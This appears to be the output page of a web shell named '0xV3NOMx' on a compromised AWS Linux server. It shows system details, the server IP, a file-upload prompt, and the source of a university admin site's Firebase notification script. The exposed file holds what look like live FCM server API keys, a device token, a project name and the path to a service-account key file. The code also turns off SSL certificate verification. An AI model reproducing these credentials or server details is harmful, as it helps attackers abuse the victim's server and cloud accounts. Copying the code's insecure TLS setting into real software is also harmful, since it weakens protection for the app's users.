0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.21.105.119


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/sendnotif.php

<?php
// API access key from Google API's Console
// define( 'API_ACCESS_KEY', 'AAAAQ4Ij4ys:APA91bFukm2A78H8Nr72_aMSLuQo77E-bGHve_F3XdXeRgOhVoXUjxhypthhfHOiw6CP9g7ardN_WRRiKZmdiRl_LOLEZvnAxyK5wDhLXfVSa-hCjk4YRLjqUFNJTOn23D8bDqBDHt1u' );
// define( 'API_ACCESS_KEY', 'AAAAjC85EVo:APA91bFgKTFUdDZ6vvj_esZ1-7UFFYm7kkbg45QkPynxB2eaKUm-S6yrArGJwQza7IqorOMa8PKTgWMPfjpHpu3diL-ygHAMFFgRt7feV4s8e-AcAHa33AAX5L14rjncl_UTsto7WqDa');
// function sendNotification( $regnids, $msg )
// {
//     // $registrationIds = array('dK-CrfoHq0E:APA91bHMYTdCTs7LvoFcGEq66k2PCQjZ4bEoxcx8NxdXbsKp68HCwvz-el3AE06mAVjdCx98Dtt8Trsn6AHWcaev0fXiuXWUWPtSvNfDrE4cizr4VRnjEnFC7bDp8NSqnlg1qaJElk-9');

//     $msg = array
//     (
//         'body' 	=> $msg['body'],
//         'title'	=> $msg['title']
//     );

//     $fields = array
//     (
//         'registration_ids' 	=> $regnids,
//         'notification' => $msg
//     );
    
//     $headers = array
//     (
//         'Authorization: key=' . API_ACCESS_KEY,
//         'Content-Type: application/json'
//     );
    
//     //var_dump($headers);

//     $ch = curl_init();
//     curl_setopt( $ch,CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send' );
//     curl_setopt( $ch,CURLOPT_POST, true );
//     curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );
//     curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );
//     curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );
//     curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $fields ) );
//     $result = curl_exec($ch );
//     curl_close( $ch );
//     echo $result;
// }


function sendNotification($tokens, $msg){
   
    $serviceAccountPath ="/var/www/html/univadmin/uniclare-pro-firebase-adminsdk-h4ql7-2aad22ab7b.json";
    $credentials = json_decode(file_get_contents($serviceAccountPath), true);
    $privateKey = $credentials['private_key'];
    $clientEmail = $credentials['client_email'];
    $header = json_encode(['alg' => 'RS256', 'typ' => 'JWT']);
    $payload = json_encode([
        'iss' => $clientEmail,
        'scope' => 'https://www.googleapis.com/auth/firebase.messaging',
        'aud' => 'https://oauth2.googleapis.com/token',
        'iat' => time(),
        'exp' => time() + 3600,
    ]);
    $encodedHeader = base64_encode($header);
    $encodedPayload = base64_encode($payload);
    $signature = '';
    openssl_sign("$encodedHeader.$encodedPayload", $signature, $privateKey, OPENSSL_ALGO_SHA256);
    $encodedSignature = base64_encode($signature);

    // Create the JWT token
    $jwt = "$encodedHeader.$encodedPayload.$encodedSignature";

    // Get access token
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://oauth2.googleapis.com/token');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'grant_type' => 'urn:ietf:params:oauth:grant-type:jwt-bearer',
        'assertion' => $jwt,
    ]));

    $response = curl_exec($ch);
    $response = json_decode($response, true);
    $accessToken = $response['access_token'];
    curl_close($ch);
//   $credentials = new ServiceAccountCredentials(
//     ['https://www.googleapis.com/auth/firebase.messaging'],
//     $serviceAccountPath
//   );
//   $accessToken = $credentials->fetchAuthToken()['access_token'];

   
  $url = 'https://fcm.googleapis.com/v1/projects/uniclare-pro/messages:send';

//   // Firebase server key
  $serverKey = 'Bearer '.$accessToken;


//   // Prepare notification payload
foreach ($tokens as $value) {
    $payload = [
        'message' => [
            'token' => $value,
            'notification' => $msg,
        ],
    ];
    $headers = [
        'Authorization:' . $serverKey,
        'Content-Type: application/json'
    ];
  
    // Initialize cURL
    $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_POST, true);
      curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
      
      // Execute the request
      $result = curl_exec($ch);
}
    if ($result === false) {
        die('Curl failed: ' . curl_error($ch));
    }

    // Close the connection
    curl_close($ch);

    return $result;
}